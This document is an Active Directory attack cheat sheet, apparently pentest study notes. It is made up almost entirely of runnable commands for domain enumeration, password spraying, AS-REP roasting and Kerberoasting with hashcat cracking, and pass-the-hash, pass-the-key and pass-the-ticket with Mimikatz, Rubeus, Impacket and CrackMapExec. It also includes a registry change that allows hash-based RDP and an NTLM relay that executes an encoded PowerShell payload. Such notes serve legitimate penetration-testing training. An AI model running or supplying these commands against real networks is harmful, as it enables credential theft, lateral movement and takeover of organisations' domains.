Active Directory

Enumeration

Manual Enumeration

# Display users in the domain
net user /domain
# Display info about the user jeffadmin
net user jeffadmin /domain
# Display groups in the domain
net group /domain
# Display members in specific group
net group "IT Department" /domain
# Display PDC of a domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

## Enumeration with PowerView
Import-Module .\PowerView.ps1
# Get info about Domain, Users and grouprs
Get-NetDomain ; Get-NetUser ; Get-NetGroup
# Domain computer overview
Get-NetComputer | select operatingsystem,dnshostname
# Scanning domain to find local administrative privileges for our user
Find-LocalAdminAccess
# Checking logged on users on client74
Get-NetSession -ComputerName client74 -Verbose
.\PsLoggedon.exe \\client74

## Enumeration Through SPN
# Listing the SPN accounts in the domain
Get-NetUser -SPN | select samaccountname,serviceprincipalname
# Listing SPN linked to iis_service user account
setspn -L iis_service

## Enumerating Object Permissions
# AD ACE permission types
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group
# Enumerating ACLs for the Management Group (ObjectSID,ActiveDirectoryRights,SecurityIdentifier)
Get-ObjectAcl -Identity "Management Department" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
# Converting the SecurityIdentifier into name
"S-1-5-21-1987370270-658905905-1781884369-512" | Convert-SidToName

## Enumerating Domain Shares
# List Domain Shares. add -CheckShareAccess if you want only ones accessible to us
Find-DomainShare 

Automated Enumeration

# SharpHound
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\sharepond -OutputPrefix "corp"
# BloodHound
sudo neo4j start # neo4j:neo4j
bloodhound
# PingCastle

AD Attacks

Password Attacks

# Password spraying on windows and linux
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin # (No accounts should be locked out)
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

AS-REP Roasting

# AS-REP Roasting : AD user account with option Do not require Kerberos preauthentication enabled
impacket-GetNPUsers -dc-ip 192.168.0.9 -request -outputfile hashes.asreproast corp.com/pete
.\Rubeus.exe asreproast /nowrap
hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
# only list user accounts
impacket-GetNPUsers -dc-ip 192.168.0.9 corp.com/pete
Get-DomainUser -PreauthNotRequired
# If we have GenericWrite or GenericAll permissions on another AD user we could modify UAC of the user to not require Kerberos preauthentication
Invoke-ACLScanner -ResolveGUIDS | where {$_.ActiveDirectoryRights -eq 'GenericAll'}

Kerberoasting

# Kerberoasting : Decrypt TGS-REP to obtain cleartext password of the service account
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
impacket-GetUserSPNs -request -dc-ip 192.168.171.70 corp.com/pete
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force

Lateral Movement

Pass the Hash (PtH)

# Pass the Hash from Windows Using Mimikatz:
mimikatz.exe privilege::debug "sekurlsa::pth /user:<user> /rc4:<hash> /domain:<domain> /run:cmd.exe" exit

# Pass the Hash with PowerShell Invoke-TheHash (Windows)
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target <IP> -Domain <domain> -Username <user> -Hash <hash> -Command "whoami" -Verbose

# Pass the Hash with Impacket (Linux) / impacket-wmiexec impacket-atexec impacket-smbexec
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

# Pass the Hash with CrackMapExec (Linux)
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

# Pass the Hash with evil-winrm (Linux)
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

# Enable Restricted Admin Mode to Allow PtH with RDP
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Pass the Hash with RDP (Linux)
xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Pass the Key / OverPass the Hash

# Mimikatz - Extract Kerberos Keys
sekurlsa::ekeys

# Mimikatz - Pass the Key/OverPass the Hash
sekurlsa::pth /domain:domain.htb /user:user /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

# Rubeus - Pass the Key/OverPass the Hash
Rubeus.exe asktgt /domain:domain.htb /user:user /aes256:b21c99f..SNIP..da3fe60 /nowrap

Pass the Ticket (PtT)

# Mimikatz - Export Tickets
sekurlsa::tickets /export

# Rubeus - Export Tickets
Rubeus.exe dump /nowrap

# Rubeus Pass the Ticket
Rubeus.exe asktgt /domain:domain.htb /user:user /rc4:3f74a71..SNIP..2f077b1ce50f /ptt
# Another way is to import the ticket into the current session using the .kirbi
Rubeus.exe ptt /ticket:[e-mail]
# Convert .kirbi to Base64 Format
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[e-mail]"))
# Pass the Ticket - Base64 Format
Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIzSrk/gHuER2XRLdV/<SNIP>

# Mimikatz - Pass the Ticket
kerberos::ptt "C:\path\Mimikatz\[e-mail]"
exit
dir \\DC01.inlanefreight.htb\c$

# Mimikatz - PowerShell Remoting - Pass the Ticket
kerberos::ptt "C:\path\Mimikatz\[e-mail]"
exit
powershell
Enter-PSSession -ComputerName DC01

Relaying Net-NTLMv2

# Starting ntlmrelayx for a Relay-attack targeting 192.168.0.2
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.0.2 -c "powershell -enc JABjAGwAaQBlAG4AdA..."